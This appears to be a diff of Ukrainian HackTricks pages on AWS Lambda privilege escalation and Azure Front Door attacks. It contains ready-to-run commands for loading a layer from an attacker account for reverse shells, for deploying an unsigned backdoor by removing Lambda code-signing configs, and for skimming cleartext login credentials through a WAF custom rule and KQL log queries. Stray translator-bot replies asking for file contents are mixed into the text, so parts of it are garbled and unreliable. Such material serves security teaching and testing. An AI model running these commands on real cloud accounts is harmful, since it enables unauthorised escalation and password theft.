--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
Наступним кроком було б або самостійно **викликати функцію**, якщо це можливо, або дочекатися, поки вона **буде викликана** звичним шляхом — що є безпечнішим методом.
|
||||
Наступним кроком буде або **викликати функцію** особисто, якщо ми можемо, або почекати, поки в**она буде викликана** звичайними засобами — що є безпечнішим методом.
|
||||
|
||||
Більш прихований спосіб експлуатації цієї вразливості можна знайти в:
|
||||
Існує **більш прихований спосіб експлуатації цієї вразливості**, який можна знайти в:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Прямий privesc до ролі сервісу lambda, яка використовується.
|
||||
**Потенційний вплив:** Прямий privesc до ролі сервісу lambda, що використовується.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
Можливо, з такими дозволами ви зможете створити функцію і виконати її, викликавши URL... але я не знайшов спосіб її протестувати, тож дайте знати, якщо вдасться!
|
||||
Можливо, з цими дозволами ви зможете створити функцію і виконати її, викликавши URL... але я не знайшов способу це протестувати, тож дайте знати, якщо ви зможете!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
Деякі lambdas будуть **отримувати від користувачів конфіденційну інформацію в параметрах.** Якщо отримати RCE в одній з них, можна ексфільтрувати інформацію, яку інші користувачі надсилають їй, див. в:
|
||||
Деякі lambdas будуть **отримувати конфіденційну інформацію від користувачів у параметрах.** Якщо отримати RCE в одному з них, ви можете exfiltrate інформацію, яку інші користувачі надсилають туди; див.:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
@@ -255,21 +255,21 @@ aws lambda update-function-configuration \
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
|
||||
|
||||
Якщо Lambda-функція примусово використовує code signing, нападник, який може видалити Code Signing Config (CSC) або понизити його до Warn, може розгорнути unsigned код у функцію. Це обходить засоби захисту цілісності без зміни IAM role функції або її triggers.
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Обхід підписування коду Lambda
|
||||
|
||||
Дозволи (один із):
|
||||
Якщо функція Lambda застосовує перевірку підпису коду, атакувальник, який може або видалити Code Signing Config (CSC), або понизити його до WARN, може розгорнути неподписаний код у функцію. Це обходить засоби захисту цілісності без зміни ролі IAM функції або тригерів.
|
||||
|
||||
Permissions (one of):
|
||||
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Примітки:
|
||||
- Для Path B не потрібен AWS Signer profile, якщо політика CSC встановлена в `WARN` (unsigned artifacts allowed).
|
||||
- Для Path B вам не потрібен профіль AWS Signer, якщо політика CSC встановлена на `WARN` (дозволені unsigned artifacts).
|
||||
|
||||
Кроки (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
|
||||
|
||||
@@ -282,7 +282,7 @@ return {"pwn": True, "env": list(os.environ)[:6]}
|
||||
PY
|
||||
zip backdoor.zip handler.py
|
||||
```
|
||||
Шлях A) Видалити CSC, потім оновити код:
|
||||
Шлях A) Видаліть CSC, потім оновіть код:
|
||||
```bash
|
||||
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
|
||||
if [ "$HAS_CSC" -eq 1 ]; then
|
||||
@@ -292,7 +292,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Шлях B) Понизити до Warn та оновити код (якщо delete не дозволено):
|
||||
Шлях B) Знизити до Warn і оновити код (якщо видалення не дозволено):
|
||||
```bash
|
||||
CSC_ARN=$(aws lambda create-code-signing-config \
|
||||
--description ht-warn-csc \
|
||||
@@ -303,15 +303,15 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Я не маю вмісту файлу. Будь ласка, вставте вміст src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md, і я перекладу його українською відповідно до ваших правил.
|
||||
Підтверджую — виконуватиму правила перекладу: не перекладати код, назви технік, загальні хакерські терміни, назви cloud/SaaS (наприклад aws, gcp, Workspace), слово "leak", pentesting, посилання, шляхи, markdown/html теги й спеціальні {#...} теги. Надішліть вміст README.md або текст для перекладу.
|
||||
```bash
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
|
||||
cat /tmp/out.json
|
||||
```
|
||||
Потенційний вплив: Можливість завантажити та виконати довільний unsigned code у функції, яка мала забезпечувати signed deployments, що потенційно призводить до виконання code з правами ролі функції.
|
||||
Потенційний вплив: Можливість завантажити та виконати довільний непідписаний код у функції, яка мала забезпечувати підписані розгортання, що може призвести до виконання коду з дозволами ролі функції.
|
||||
|
||||
Очищення:
|
||||
```bash
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,18 +1,81 @@
|
||||
# Az - Файлові спільноти
|
||||
# Az - Front Door
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Обхід RemoteAddr
|
||||
## RemoteAddr Bypass
|
||||
|
||||
Цей **[блог пост](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** пояснює, як при налаштуванні деяких мережевих обмежень з Azure Front Door ви можете фільтрувати на основі **`RemoteAddr`** або **`SocketAddr`**. Основна різниця полягає в тому, що **`RemoteAddr`** фактично використовує значення з HTTP заголовка **`X-Forwarded-For`**, що робить його дуже легким для обходу.
|
||||
This **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** пояснює, що під час налаштування деяких мережевих обмежень з Azure Front Door ви можете фільтрувати на основі **`RemoteAddr`** або **`SocketAddr`**. Головна різниця в тому, що **`RemoteAddr`** фактично використовує значення з HTTP-заголовка **`X-Forwarded-For`**, що робить його дуже простим для обходу.
|
||||
|
||||
Для обходу цього правила можна використовувати автоматизовані інструменти, які **брутфорс IP-адреси** до тих пір, поки не знайдуть дійсну.
|
||||
Щоб обійти це правило, можна використовувати автоматизовані інструменти, які виконують **brute-force IP addresses** доти, доки не знайдуть дійсну адресу.
|
||||
|
||||
Це згадується в [документації Microsoft](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
|
||||
Про це згадується в [Microsoft documentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
|
||||
|
||||
## Credential Skimming via WAF Custom Rules + Log Analytics
|
||||
|
||||
Зловживання Azure Front Door (AFD) WAF Custom Rules у поєднанні з Log Analytics для перехоплення cleartext credentials (або інших секретів), що проходять через WAF. Це не CVE; це неправильне використання легітимних функцій будь-ким, хто може змінити WAF policy і читати її logs.
|
||||
|
||||
Ключові поведінкові моменти, що дозволяють це:
|
||||
- AFD WAF Custom Rules можуть матчитись по елементах запиту, включаючи headers та POST parameters.
|
||||
- Коли Custom Rule використовує дію Log traffic only, оцінка продовжується і трафік проходить далі (немає short-circuit), зберігаючи нормальний/прихований потік.
|
||||
- AFD записує докладну діагностику в Log Analytics під Category FrontDoorWebApplicationFirewallLog. Деталі співпадінь payload включені в details_matches_s разом з іменем правила в ruleName_s.
|
||||
|
||||
### Повний робочий процес
|
||||
|
||||
1. Identify target POST parameters
|
||||
- Перегляньте форму входу і запишіть імена параметрів (наприклад, username, password).
|
||||
|
||||
2. Enable diagnostics to Log Analytics
|
||||
- У вашому Front Door profile > Monitoring > Diagnostic settings надішліть логи до Log Analytics workspace.
|
||||
- Як мінімум, увімкніть категорію: FrontDoorWebApplicationFirewallLog.
|
||||
|
||||
3. Create a malicious Custom Rule
|
||||
- Front Door WAF Policy > Custom rules > New rule:
|
||||
- Name: innocuous name, e.g., PasswordCapture
|
||||
- Priority: low number (e.g., 5) so it evaluates early
|
||||
- Match: POST arguments username and password with Operator = Any (match any value)
|
||||
- Action: Log traffic only
|
||||
|
||||
4. Generate events
|
||||
```bash
|
||||
curl -i -X POST https://example.com/login \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data "username=alice&password=S3cret!"
|
||||
```
|
||||
5. Витягти облікові дані з Log Analytics (KQL)
|
||||
```kusto
|
||||
AzureDiagnostics
|
||||
| where Category == "FrontDoorWebApplicationFirewallLog"
|
||||
| where ruleName_s == "PasswordCapture"
|
||||
| project TimeGenerated, ruleName_s, details_matches_s
|
||||
| order by TimeGenerated desc
|
||||
```
|
||||
Будь ласка, вставте вміст файлу src/pentesting-cloud/azure-security/az-services/az-front-door.md, який потрібно перекласти. Я перекладу весь англійський текст українською, зберігши незмінними код, теги, посилання, шляхи та синтаксис markdown/html.
|
||||
```kusto
|
||||
AzureDiagnostics
|
||||
| where Category == "FrontDoorWebApplicationFirewallLog" and ruleName_s == "PasswordCapture"
|
||||
| extend m = parse_json(details_matches_s)
|
||||
| mv-expand match = m.matches
|
||||
| project TimeGenerated, ruleName_s, match.matchVariableName, match.matchVariableValue
|
||||
| order by TimeGenerated desc
|
||||
```
|
||||
Збіги значень відображаються в details_matches_s і містять cleartext значення, що співпали з вашим правилом.
|
||||
|
||||
### Чому Front Door WAF, а не Application Gateway WAF?
|
||||
- Логи custom-rule для Application Gateway WAF не включають проблемні значення POST/заголовків так само; діагностика AFD WAF включає співпавший вміст у details, що дозволяє захоплювати облікові дані.
|
||||
|
||||
### Прихованість і варіанти
|
||||
- Встановіть Action на Log traffic only, щоб уникнути порушення запитів і дозволити іншим правилам оцінюватися нормально.
|
||||
- Задайте невисокий числовий Priority, щоб ваше правило логування виконувалося перед пізнішими правилами Block/Allow.
|
||||
- Ви можете націлювати будь-які чутливі імена/розташування, не лише POST params (наприклад, заголовки типу Authorization або API tokens у полях тіла).
|
||||
|
||||
### Передумови
|
||||
- Існуючий екземпляр Azure Front Door.
|
||||
- Дозволи на редагування політики AFD WAF та читання пов'язаного Log Analytics workspace.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
|
||||
- [Skimming Credentials with Azure's Front Door WAF](https://trustedsec.com/blog/skimming-credentials-with-azures-front-door-waf)
|
||||
- [Azure WAF on Front Door monitoring and logging](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-monitor)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user